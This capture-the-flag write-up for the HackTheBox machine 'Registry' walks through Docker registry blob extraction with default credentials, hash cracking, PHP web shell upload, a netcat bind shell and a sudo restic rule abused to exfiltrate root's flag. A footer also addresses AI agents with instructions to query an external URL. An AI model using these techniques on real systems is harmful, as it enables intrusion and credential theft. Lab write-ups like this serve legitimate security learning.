# Registry

![Registry](/files/-M3joUK5tw7hVMC81qyM)

Registry is a hard difficulty box that deals with Docker.

## Recon

we start off by scanning Forest's IP `10.10.10.159` with `nmap`

```
nmap -T4 -A -v 10.10.10.159
```

From Our Results we get the following services and ports

```
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA)
|   256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA)
|_  256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519)
80/tcp  open  http     nginx 1.14.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Site doesn't have a title.
443/tcp open  ssl/http nginx 1.14.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Site doesn't have a title.
| ssl-cert: Subject: commonName=docker.registry.htb
| Issuer: commonName=Registry
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-05-06T21:14:35
| Not valid after:  2029-05-03T21:14:35
| MD5:   0d6f 504f 1cb5 de50 2f4e 5f67 9db6 a3a9
|_SHA-1: 7da0 1245 1d62 d69b a87e 8667 083c 39a6 9eb2 b2b5
```

From the results we see that `ssh` `http` & `https` are active, but what's interesting here is the `ssl-cert: commonName` which reveals its `docker.registry.htb` we can add this to our `hosts` file&#x20;

```
nano /etc/hosts
10.10.10.159 docker.registry.htb
```

Next let's run `nikto` and see if we can find anything interesting on both the IP and the `docker.registry.htb`

```
nikto -host docker.registry.htb
nikto -host 10.10.10.159
```

our `docker.registry.htb` nikto scan gives us&#x20;

```
Default account found for 'Registry' at /v2/_catalog (ID 'admin', PW 'admin')
```

interesting it found some credentials under `/v2/_catalog`

visiting docker.registry.htb/v2/\_catalog prompts us for credentials which we have. it then takes us to a page that reveals that is running `bolt-cms`

![](/files/-M3kIl9SpRNwhuaRB1eH)

The nikto scan on `10.10.10.159` gives us nothing relevant but upon running a `dirbuster` scan on it we find that it's running `bolt-cms`&#x20;

![](/files/-M3kI581Fczq5E_aUd46)

Now that we have confirmed that the target is running docker and we can authenticate into it, we can now go forward and dig into `docker registry` API <https://docs.docker.com/registry/spec/api/>

Checking the tag list <https://docker.registry.htb/v2/bolt-image/tags/list> we find that it has one tag `latest` navigating to <https://docker.registry.htb/v2/bolt-image/manifests/latest> gives as a file of all the blobs

```
{
   "schemaVersion": 1,
   "name": "bolt-image",
   "tag": "latest",
   "architecture": "amd64",
   "fsLayers": [
      {
         "blobSum": "sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b"
      },
      {
         "blobSum": "sha256:3f12770883a63c833eab7652242d55a95aea6e2ecd09e21c29d7d7b354f3d4ee"
      },
      {
         "blobSum": "sha256:02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c"
      },
      {
         "blobSum": "sha256:c71b0b975ab8204bb66f2b659fa3d568f2d164a620159fc9f9f185d958c352a7"
      },
      {
         "blobSum": "sha256:2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791"
      },
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:f5029279ec1223b70f2cbb2682ab360e1837a2ea59a8d7ff64b38e9eab5fb8c0"
      },
      {
         "blobSum": "sha256:d9af21273955749bb8250c7a883fcce21647b54f5a685d237bc6b920a2ebad1a"
      },
      {
         "blobSum": "sha256:8882c27f669ef315fc231f272965cd5ee8507c0f376855d6f9c012aae0224797"
      },
      {
         "blobSum": "sha256:f476d66f540886e2bb4d9c8cc8c0f8915bca7d387e536957796ea6c2f8e7dfff"
      }
   ],
   "history": [
      {
         "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"e2e880122289\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":true,\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"OpenStdin\":true,\"StdinOnce\":true,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"bash\"],\"Image\":\"docker.registry.htb/bolt-image\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":{}},\"container\":\"e2e88012228993b25b697ee37a0aae0cb0ecef7b1536d2b8e488a6ec3f353f14\",\"container_config\":{\"Hostname\":\"e2e880122289\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":true,\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"OpenStdin\":true,\"StdinOnce\":true,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"bash\"],\"Image\":\"docker.registry.htb/bolt-image\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":{}},\"created\":\"2019-05-25T15:18:56.9530238Z\",\"docker_version\":\"18.09.2\",\"id\":\"f18c41121574af38e7d88d4f5d7ea9d064beaadd500d13d33e8c419d01aa5ed5\",\"os\":\"linux\",\"parent\":\"9380d9cebb5bc76f02081749a8e795faa5b5cb638bf5301a1854048ff6f8e67e\"}"
      },
      {
         "v1Compatibility": "{\"id\":\"9380d9cebb5bc76f02081749a8e795faa5b5cb638bf5301a1854048ff6f8e67e\",\"parent\":\"d931b2ca04fc8c77c7cbdce00f9a79b1954e3509af20561bbb8896916ddd1c34\",\"created\":\"2019-05-25T15:13:31.3975799Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
      },
      {
         "v1Compatibility": "{\"id\":\"d931b2ca04fc8c77c7cbdce00f9a79b1954e3509af20561bbb8896916ddd1c34\",\"parent\":\"489e49942f587534c658da9060cbfc0cdb999865368926fab28ccc7a7575283a\",\"created\":\"2019-05-25T14:57:27.6745842Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
      },
      {
         "v1Compatibility": "{\"id\":\"489e49942f587534c658da9060cbfc0cdb999865368926fab28ccc7a7575283a\",\"parent\":\"7f0ab92fdf7dd172ef58247894413e86cfc60564919912343c9b2e91cd788ae4\",\"created\":\"2019-05-25T14:47:52.6859489Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
      },
      {
         "v1Compatibility": "{\"id\":\"7f0ab92fdf7dd172ef58247894413e86cfc60564919912343c9b2e91cd788ae4\",\"parent\":\"5f7e711dba574b5edd0824a9628f3b91bfd20565a5630bbd70f358f0fc4ebe95\",\"created\":\"2019-05-24T22:51:14.8744838Z\",\"container_config\":{\"Cmd\":[\"/bin/bash\"]}}"
      },
      {
         "v1Compatibility": "{\"id\":\"5f7e711dba574b5edd0824a9628f3b91bfd20565a5630bbd70f358f0fc4ebe95\",\"parent\":\"f75463b468b510b7850cd69053a002a6f10126be3764b570c5f80a7e5044974c\",\"created\":\"2019-04-26T22:21:05.100534088Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  CMD [\\\"/bin/bash\\\"]\"]},\"throwaway\":true}"
      },
      {
         "v1Compatibility": "{\"id\":\"f75463b468b510b7850cd69053a002a6f10126be3764b570c5f80a7e5044974c\",\"parent\":\"4b937c36cc17955293cc01d8c7c050c525d22764fa781f39e51afbd17e3e5529\",\"created\":\"2019-04-26T22:21:04.936777709Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c mkdir -p /run/systemd \\u0026\\u0026 echo 'docker' \\u003e /run/systemd/container\"]}}"
      },
      {
         "v1Compatibility": "{\"id\":\"4b937c36cc17955293cc01d8c7c050c525d22764fa781f39e51afbd17e3e5529\",\"parent\":\"ab4357bfcbef1a7eaa70cfaa618a0b4188cccafa53f18c1adeaa7d77f5e57939\",\"created\":\"2019-04-26T22:21:04.220422684Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c rm -rf /var/lib/apt/lists/*\"]}}"
      },
      {
         "v1Compatibility": "{\"id\":\"ab4357bfcbef1a7eaa70cfaa618a0b4188cccafa53f18c1adeaa7d77f5e57939\",\"parent\":\"f4a833e38a779e09219325dfef9e5063c291a325cad7141bcdb4798ed68c675c\",\"created\":\"2019-04-26T22:21:03.471632173Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c set -xe \\t\\t\\u0026\\u0026 echo '#!/bin/sh' \\u003e /usr/sbin/policy-rc.d \\t\\u0026\\u0026 echo 'exit 101' \\u003e\\u003e /usr/sbin/policy-rc.d \\t\\u0026\\u0026 chmod +x /usr/sbin/policy-rc.d \\t\\t\\u0026\\u0026 dpkg-divert --local --rename --add /sbin/initctl \\t\\u0026\\u0026 cp -a /usr/sbin/policy-rc.d /sbin/initctl \\t\\u0026\\u0026 sed -i 's/^exit.*/exit 0/' /sbin/initctl \\t\\t\\u0026\\u0026 echo 'force-unsafe-io' \\u003e /etc/dpkg/dpkg.cfg.d/docker-apt-speedup \\t\\t\\u0026\\u0026 echo 'DPkg::Post-Invoke { \\\"rm -f /var/cache/apt/archives/*.deb /var/cache/apt/archives/partial/*.deb /var/cache/apt/*.bin || true\\\"; };' \\u003e /etc/apt/apt.conf.d/docker-clean \\t\\u0026\\u0026 echo 'APT::Update::Post-Invoke { \\\"rm -f /var/cache/apt/archives/*.deb /var/cache/apt/archives/partial/*.deb /var/cache/apt/*.bin || true\\\"; };' \\u003e\\u003e /etc/apt/apt.conf.d/docker-clean \\t\\u0026\\u0026 echo 'Dir::Cache::pkgcache \\\"\\\"; Dir::Cache::srcpkgcache \\\"\\\";' \\u003e\\u003e /etc/apt/apt.conf.d/docker-clean \\t\\t\\u0026\\u0026 echo 'Acquire::Languages \\\"none\\\";' \\u003e /etc/apt/apt.conf.d/docker-no-languages \\t\\t\\u0026\\u0026 echo 'Acquire::GzipIndexes \\\"true\\\"; Acquire::CompressionTypes::Order:: \\\"gz\\\";' \\u003e /etc/apt/apt.conf.d/docker-gzip-indexes \\t\\t\\u0026\\u0026 echo 'Apt::AutoRemove::SuggestsImportant \\\"false\\\";' \\u003e /etc/apt/apt.conf.d/docker-autoremove-suggests\"]}}"
      },
      {
         "v1Compatibility": "{\"id\":\"f4a833e38a779e09219325dfef9e5063c291a325cad7141bcdb4798ed68c675c\",\"created\":\"2019-04-26T22:21:02.724843678Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:7ce84f13f11609a50ece7823578159412e2299c812746d1d1f1ed5db0728bd37 in / \"]}}"
      }
   ],
   "signatures": [
      {
         "header": {
            "jwk": {
               "crv": "P-256",
               "kid": "NKSY:RY2I:E4SH:ZP65:5SAI:WWGS:LVPF:PX4D:66XW:6SDI:AAWX:SKTS",
               "kty": "EC",
               "x": "iabCQcqfRWXRy-VPjezvBJs5EgU6jYuDzY8s_2XHXxE",
               "y": "emgMLFaNTKDzSgk5pz7jfZk1gTo_mlyqlDOOvP1NE5s"
            },
            "alg": "ES256"
         },
         "signature": "GlAxQey8xw73ZiHd0h7xBKRBQe-97TTR8hLWlDUV9Av3lyBrNqyMkjV2rmGhWJNQ2jhIqHz5XK31hhy7CQd30Q",
         "protected": "eyJmb3JtYXRMZW5ndGgiOjY3OTIsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMC0wMy0zMVQxMToyOTo0MFoifQ"
      }
   ]
}
```

Blobs often contain configs on the setup and each blob can be thought of as a git commit

From the API we know that we can download these blobs with the URL `https://docker.registry.htb/v2/bolt-image/blobs/sha256:BLOBHASH`

From this we can construct a download list&#x20;

```
https://docker.registry.htb/v2/bolt-image/blobs/sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b
https://docker.registry.htb/v2/bolt-image/blobs/sha256:3f12770883a63c833eab7652242d55a95aea6e2ecd09e21c29d7d7b354f3d4ee
https://docker.registry.htb/v2/bolt-image/blobs/sha256:02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c
https://docker.registry.htb/v2/bolt-image/blobs/sha256:c71b0b975ab8204bb66f2b659fa3d568f2d164a620159fc9f9f185d958c352a7
https://docker.registry.htb/v2/bolt-image/blobs/sha256:2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791
https://docker.registry.htb/v2/bolt-image/blobs/sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
https://docker.registry.htb/v2/bolt-image/blobs/sha256:f5029279ec1223b70f2cbb2682ab360e1837a2ea59a8d7ff64b38e9eab5fb8c0
https://docker.registry.htb/v2/bolt-image/blobs/sha256:d9af21273955749bb8250c7a883fcce21647b54f5a685d237bc6b920a2ebad1a
https://docker.registry.htb/v2/bolt-image/blobs/sha256:8882c27f669ef315fc231f272965cd5ee8507c0f376855d6f9c012aae0224797
https://docker.registry.htb/v2/bolt-image/blobs/sha256:f476d66f540886e2bb4d9c8cc8c0f8915bca7d387e536957796ea6c2f8e7dfff
```

## Exploit

and go on to download them, personally i used `wget --no-check-certificate --http-user=admin --http-password=admin -i BlobList`

Well we got a system dump so to speak within which we find a ssh `id_pub` for the user `bolt` and within another blob we find a script to send the ssh password `GkOcz221Ftb3ugog`

navigating back to the `id_rsa` we can not ssh into the machine with `ssh -i id_rsa bolt@10.10.10.159` once in we can get our first flag!

## Post Exploitation

Once in we can use [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS) to find anything interesting and sure enough it finds the following&#x20;

```
admin, $2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK, bolt@registry.htb, 2020-03-31 12:00:00, 10.10.14.41, Admin, ["files://bolt.html"], 1, None, None, None, 0, None, ["root","everyone"]
```

we can put this hash through `john` to get&#x20;

```
john --wordlist=/root/Downloads/Dic/rockyou.txt pass
strawberry
```

So now we have admin credentials for `bolt-cms`&#x20;

After further exploration we find a backup script in `/var/www/html/`&#x20;

```
<?php shell_exec("sudo restic backup -r rest:http://backup.registry.htb/bolt bolt");
```

it seems that whenever this file is triggered it uses  `sudo` to backup the bolt website via `restic` however we as bolt do not have the privileges to edit or run the above file, so who might? well `www-data` can since it is the web service that triggers the backup. So how do we get `www-data` remember the admin credentials from before? we can login and see if there's a path to executing a shell from there. so off we go to `http://10.10.10.159/bolt/bolt/` and behold admin credentials

using `username:admin` `password:strawberry` gets us access to the cms portal. There seem to be quite a few places we can load a web shell from so let's look around.&#x20;

Well it seems that `xss` is a no go, so how else can we get a shell?. There is a dedicated area to uploading files, however php seems to be restricted, this can easily be amended by going to the Main Configuration and searching for `accept_file_types` once here we can add `php` as a accepted file type and upload our shell to `http://10.10.10.159/bolt/bolt/files/themes/skeleton`

I'm personally a fan of WhiteWinterWolf webshell <https://github.com/WhiteWinterWolf/wwwolf-php-webshell/blob/master/webshell.php> that provides a more stable interface of getting a shell, so let's grab and upload it

![](/files/-M3kXSrnG5Eidqiw4Eab)

Nice, however trying a reverse shell doesn't really work so lets take another approach and set a bind shell with `​ nc.traditional -lp 9999 -e /bin/bash` and connect to it.

running `sudo -l` again gives us&#x20;

```
User www-data may run the following commands on bolt:
    (root) NOPASSWD: /usr/bin/restic backup -r rest*
```

that we can not only execute the `backup.php` but also execute the `restic backup -r rest*` we cannot setup a restic server on the target but we can locally

<https://github.com/restic/rest-server> gives us all the instructions we need to get setup locally. Once we have it installed we can upload `restic-server` to the target via  [scp](/hackynotes/quick-scripts.md#scp).

Once we've done this we can

```
htpasswd -B -c .htpasswd {specify username here} #locally
scp -i id_rsa ~/rest-server/rest-server bolt@10.10.10.159:/tmp/
scp -i id_rsa ~/.htpasswd bolt@10.10.10.159:/tmp/
restic -r /tmp/ init --password-file /tmp/.htpasswd
./rest-server --path /tmp
sudo restic backup -r rest:http://username:password@localhost:8000/  /root/root.txt
```

once the backup is created we can use&#x20;

```
restic -r /tmp/ restore latest --target /tmp/ --password-file /tmp/.htpasswd
```

This will decrypt it and give us our flag

## Useful Links

{% embed url="<https://restic.readthedocs.io/en/stable/030_preparing_a_new_repo.html#rest-server>" %}

{% embed url="<https://restic.readthedocs.io/en/latest/030_preparing_a_new_repo.html>" %}

{% embed url="<https://www.qa.com/resources/our-thinking/anatomy-of-a-hack-docker-registry/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://bkr3257.gitbook.io/hackynotes/htb-writeups/registry.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
